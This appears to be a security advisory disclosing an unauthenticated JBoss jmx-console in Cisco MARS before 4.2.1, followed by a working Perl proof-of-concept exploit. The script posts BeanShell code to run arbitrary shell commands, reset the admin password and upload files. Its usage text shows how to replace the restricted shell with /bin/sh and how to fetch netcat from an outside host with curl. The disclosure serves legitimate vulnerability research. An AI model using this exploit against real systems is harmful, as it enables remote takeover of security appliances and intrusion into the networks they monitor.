Cisco MARS (Monitoring, Analysis and Response System, sometimes referred
to as CS-MARS) prior to version 4.2.1 ships with an unprotected JBoss
installation which ultimately leads to a complete compromise of the
device.
The caveat here is that, despite much work on Cisco's part, they were
not able to determine why some CS-MARS boxes were vulnerable and others
were not. In versions 4.2.1 and newer, the discovered vulnerabilities
have been fixed.
CS-MARS shipped with JBoss 3.2.7, which suffered a number of flaws
originally disclosed by Marc Schoenefeld in June of 2005. See
http://www.securityfocus.com/archive/1/402653 for the original posting.
CS-MARS' JBoss installation is basically stock, so few if any of the
recommended procedures were taken to secure it prior to shipment.
A common document used in securing JBoss can be found at
http://wiki.jboss.org/wiki/Wiki.jsp?page=SecureJBoss
Perhaps the most glaring vulnerability that results is the exposure of
the jmx-console, and in turn full access to all of the MBeans. Per
JBoss.org's description of the jmx-console:
"The JMX console provides a raw view into the microkernel of the
JBoss application server. It lists all registered services (MBeans)
that are active in the application server and that can be accessed
either through the JMX console itself or programmatically from Java
code."
As you can imagine, once an attacker has access to the jmx-console, the
thoroughness with which the box can be compromised is only limited by
their imagination. The jmx console is reachable on CS-MARS devices
versions < 4.2.1 β no authentication is necessary, and is available on
port 80 and 443.
I've put together some functional POC exploit code that leverages many
of the MBeans to compromise the system in various ways. Please see the
attached code.
Cisco's PSIRT was extremely responsive throughout this entire process.
The JBoss issues I mentioned above are addressed by Cisco DDTS
CSCse47646, and fixed in version 4.2.1 and newer.
Enjoy,
-jon
#!/usr/bin/perl
#################################
#################################
use strict;
use HTTP::Request::Common;
use LWP::UserAgent;
use IO::Socket;
my $target = shift(@ARGV) || &usage;
my $attack_type = shift(@ARGV) || &usage;
for ($attack_type) {
if (/pass/) { &change_passwd(@ARGV); }
elsif (/cmd/) { &run_cmd(@ARGV); }
elsif (/upload/) { &upload(@ARGV); }
elsif (/[bean|bsh]/) { &run_bsh(@ARGV); }
else { &usage; }
}
sub change_passwd {
my $passwd = shift;
&run_cmd("/opt/janus/release/bin/pnpasswd $passwd");
}
sub encode {
my $en = shift;
my $string = "";
foreach my $char (split(//, $en)) {
if ($char =~ /([:|\/|(|)|"|'|`| ])/) {
$string .= sprintf("%%%x", ord($1));
} else { $string .= $char; }
}
return $string;
}
sub jmx_post {
my $form_data = shift;
my $ua = LWP::UserAgent->new;
$ua->agent("Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)");
my $req = HTTP::Request->new(POST => "http://$target/jmx-console/HtmlAdaptor");
$req->content_type('application/x-www-form-urlencoded');
$req->content(&encode($form_data));
my $res = $ua->request($req);
return $res->is_success ? 0 : $res->status_line;
}
sub run_bsh {
my $file = shift;
my $bsh = "";
open(BSH, "$file") or die "Couldn't open $file: $!\n";
print("Sending beanshell from $file: ");
while (<BSH>) {
chomp();
$bsh .= $_;
}
printf("%s\n", &send_beanshell($bsh) == 0 ? "Success" : "Failed");
}
sub run_cmd {
my $cmd = shift;
my $code = "";
$cmd =~ s/&/%26/g;
if ($cmd =~ />|\||&/) {
$code = 'String sh = "/bin/sh"; String opt = "-c"; String cmd = "'
. $cmd .
'"; String[] exec = new String[] { sh, opt, cmd }; Runtime.getRuntime().exec(exec);';
} else {
$code = "Runtime.getRuntime().exec(\"$cmd\");";
}
print("Running '$cmd' on $target: ");
printf("%s\n", &send_beanshell($code) == 0 ? "Success" : "Failed!");
}
sub send_beanshell {
my $code = shift;
my $name = "cmd" . int(rand(65535)) . $$;
return &jmx_post("action=invokeOp&name=jboss.scripts:service=BSHDeployer&method
Index=1&arg0=$code&arg1=$name");
}
sub upload {
my $file = shift;
my $path = shift;
my $new_name = shift;
my $chunk = "";
my $ret = 0;
open(FILE, "< $file") or die "Couldn't open $file for reading: $!\n";
if (!(defined($new_name))) {
my @path = split(/\//, $file);
$new_name = $path[$#path];
}
print("Uploading $file to $targetβ¦\n");
&run_cmd("touch $path/$new_name");
while(read(FILE,$chunk,4096)) {
$chunk = join('', map { sprintf("%03d,", ord("$")) } split(//, $chunk));
$ret += &run_cmd("echo -n $chunk | perl -ne 'foreach (split(/,/, \$)) { print chr(\$_); }' >> $path/$new_name");
}
printf("Upload of $file to $target:$path/new_name %s!\n", $ret == 0 ? "succeeded" : "failed");
}
sub usage {
print <<EOF;
Cisco MARS (CS-MARS) < 4.2.1 JBoss exploit (CSCse47646) POC by Jon Hart <jhart\@spoofed.org>
Basic Usage:
$0 <target> <exploit_type> [<exploit_specific_args] β¦]
Extended Usage:
Change password:
$0 <target> pass <password>
Run shell command:
$0 <target> cmd <your quoted shell command>
Run BeanShell code:
$0 <target> bsh /path/to/file/with/beanshell
Upload files:
$0 <target> upload <file to upload> <path on target> [<new name>]
Fun Stuff:
Get a real shell:
$0 <target> cmd "cp /opt/janus/release/bin/pnsh /opt/janus/release/bin/pnsh.bak"
$0 <target> cmd "rm /opt/janus/release/bin/pnsh"
$0 <target> cmd "cp /bin/sh /opt/janus/release/bin/pnsh"
[pnadmin\@pnmars bin]\$ id
uid=501(pnadmin) gid=501(pnadmin) groups=501(pnadmin)
[pnadmin\@pnmars bin]\$ uname -a
Linux pnmars 2.4.9-e.57 #1 Thu Dec 2 20:56:19 EST 2004 i686 unknown
[pnadmin\@pnmars bin]\$ hostname
pnmars
Download something:
$0 <target> cmd "curl http://yourhost/nc -o /tmp/nc"
EOF
exit(1);
}
-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.4.3 (GNU/Linux)
iD8DBQFEvtp/L6nwo6+o6dMRAqL4AJ9kmo5mwLRV4NH9JLnL5dLEN1tW3gCeJoyJ
Uwu05qFbleoiECd7PHXwMo4=
=eXoN
-----END PGP SIGNATURE-----